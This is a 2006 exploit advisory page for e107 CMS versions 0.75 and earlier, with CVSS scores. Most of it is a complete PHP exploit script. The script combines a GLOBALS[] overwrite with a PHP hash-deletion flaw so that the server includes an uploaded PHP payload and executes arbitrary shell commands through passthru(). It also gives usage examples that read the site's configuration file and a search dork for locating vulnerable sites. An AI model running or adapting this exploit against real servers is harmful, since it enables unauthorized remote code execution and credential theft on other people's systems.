e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands execution

2006.09.08
Credit: rgod
Risk: High
Local: No
Remote: Yes
CWE: CWE-Other


CVSS Base Score: 7.5/10
Impact Subscore: 6.4/10
Exploitability Subscore: 10/10
Exploit range: Remote
Attack complexity: Low
Authentication: No required
Confidentiality impact: Partial
Integrity impact: Partial
Availability impact: Partial

#!/usr/bin/php -q -d short_open_tag=on <? print_r(' ------------------------------------------------------------------------ -------- e107 <= 0.75 GLOBALS[] overwrite/Zend_Hash_Del_Key_Or_Index remote commands execution exploit by rgod rgod (at) autistici (dot) org [email concealed] site: http://retrogod.altervista.org dork: "This site is powered by e107"|inurl:e107_plugins|e107_handlers|e107_files ------------------------------------------------------------------------ -------- '); /* works with register_globals=On against PHP < 4.4.1, 5 < PHP < 5.0.6 */ if ($argc<4) { print_r(' ------------------------------------------------------------------------ -------- Usage: php '.$argv[0].' host path cmd OPTIONS host: target server (ip/hostname) path: path to e107 cmd: a shell command Options: -p[port]: specify a port other than 80 -P[ip:port]: specify a proxy Example: php '.$argv[0].' localhost /e107/ ls -la -P1.1.1.1:80 php '.$argv[0].' localhost /e107/ cat ./../../../../e107_config.php -p81 ------------------------------------------------------------------------ -------- '); die; } /* software site: http://e107.org/ vulnerable code in class2.php near lines 29-37: ... // Destroy! (if we need to) if($register_globals == true){ while (list($global) = each($GLOBALS)) { if (!preg_match('/^(_POST|_GET|_COOKIE|_SERVER|_FILES|GLOBALS|HTTP.*|_REQUE ST|retrieve_prefs|eplug_admin)$/', $global)) { unset($$global); [**] } } unset($global); } ... and in e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php near lines 26-40: ... require_once("../../../../class2.php"); if (!defined('e107_INIT')) { exit; } unset($tinyMCE_imglib_include); //[*] // include image library config settings include 'config.php'; $request_uri = urldecode(empty($HTTP_POST_VARS['request_uri'])?(empty($HTTP_GET_VARS['r equest_uri'])?'':$HTTP_GET_VARS['request_uri']):$HTTP_POST_VARS['request _uri']); // if set include file specified in $tinyMCE_imglib_include if (!empty($tinyMCE_imglib_include)) { include $tinyMCE_imglib_include; ///[***] } ... you can evade [*] by sending the hash keys of $tinyMCE_imglib_include var and [**] (this *should* unsets the hash keys...) by sending a multipart/form-data request with the "GLOBALS" var here [***] the code will include the temporary file and execute our shellcode see http://www.hardened-php.net/hphp/zend_hash_del_key_or_index_vulnerabilit y.html and http://www.hardened-php.net/advisory_202005.79.html for details about this php vulnerabilities */ error_reporting(0); ini_set("max_execution_time",0); ini_set("default_socket_timeout",5); function quick_dump($string) { $result='';$exa='';$cont=0; for ($i=0; $i<=strlen($string)-1; $i++) { if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 )) {$result.=" .";} else {$result.=" ".$string[$i];} if (strlen(dechex(ord($string[$i])))==2) {$exa.=" ".dechex(ord($string[$i]));} else {$exa.=" 0".dechex(ord($string[$i]));} $cont++;if ($cont==15) {$cont=0; $result.="rn"; $exa.="rn";} } return $exa."rn".$result; } $proxy_regex = '(bd{1,3}.d{1,3}.d{1,3}.d{1,3}:d{1,5}b)'; function sendpacketii($packet) { global $proxy, $host, $port, $html, $proxy_regex; if ($proxy=='') { $ock=fsockopen(gethostbyname($host),$port); if (!$ock) { echo 'No response from '.$host.':'.$port; die; } } else { $c = preg_match($proxy_regex,$proxy); if (!$c) { echo 'Not a valid proxy...';die; } $parts=explode(':',$proxy); echo "Connecting to ".$parts[0].":".$parts[1]." proxy...rn"; $ock=fsockopen($parts[0],$parts[1]); if (!$ock) { echo 'No response from proxy...';die; } } fputs($ock,$packet); if ($proxy=='') { $html=''; while (!feof($ock)) { $html.=fgets($ock); } } else { $html=''; while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) { $html.=fread($ock,1); } } fclose($ock); #debug #echo "rn".$html; } $host=$argv[1]; $path=$argv[2]; $cmd=""; $port=80; $proxy=""; for ($i=3; $i<$argc; $i++){ $temp=$argv[$i][0].$argv[$i][1]; if (($temp<>"-p") and ($temp<>"-P")) {$cmd.=" ".$argv[$i];} if ($temp=="-p") { $port=str_replace("-p","",$argv[$i]); } if ($temp=="-P") { $proxy=str_replace("-P","",$argv[$i]); } } if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error... check the path!'; die;} if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;} $data="-----------------------------7d529a1d23092arn"; #oh, I want to tell you a story, about a Telecom guy * $data.="Content-Disposition: form-data; name="tinyMCE_imglib_include"; filename="suntzu";rn"; #that doesn't know * $data.="Content-Type: image/jpeg;rnrn"; #the sovereign art of PHP kung-fu, now is desperate and he's seriously * $data.="<?php error_reporting(0);set_time_limit(0);echo 'my_delim';passthru('".$cmd."');echo 'my_delim'; die;?>rn";# * $data.="-----------------------------7d529a1d23092arn"; #thinking to kill himself, after he loosed his work * $data.="Content-Disposition: form-data; name="-1203709508"; filename="suntzu";rn";//and his honour and self-respect* $data.="Content-Type: image/jpeg;rnrn"; //because of some brave guys that rooted his boxes.* $data.="1rn";# * $data.="-----------------------------7d529a1d23092arn"; #Now, guy, don't cry anymore, but... do something * $data.="Content-Disposition: form-data; name="225672436"; filename="suntzu";rn"; #useful, please open the PHP * $data.="Content-Type: image/jpeg;rnrn"; #manual, like a respectful student. And start to... * $data.="1rn";# * $data.="-----------------------------7d529a1d23092arn";# * $data.="Content-Disposition: form-data; name="GLOBALS"; filename="suntzu";rn";# * $data.="Content-Type: image/jpeg;rnrn";# * $data.="1rn";# * $data.="-----------------------------7d529a1d23092a--rn";# * $packet ="POST ".$p."e107_handlers/tiny_mce/plugins/ibrowser/ibrowser.php HTTP/1.0rn";# * $packet.="Host: ".$host."rn";# * $packet.="Content-Type: multipart/form-data; boundary=---------------------------7d529a1d23092arn";# * $packet.="Content-Length: ".strlen($data)."rn";# * $packet.="Accept: text/plainrn";# * $packet.="Connection: Closernrn";# * $packet.=$data;# * sendpacketii($packet);# * if (strstr($html,"my_delim")){# * echo "exploit succeeded...n";$temp=explode("my_delim",$html);die($temp[1]); #...pray * } echo "exploit failed... register_globals=off here or wrong PHP versionn"; ?> original url: http://retrogod.altervista.org/e107_075_xpl.html


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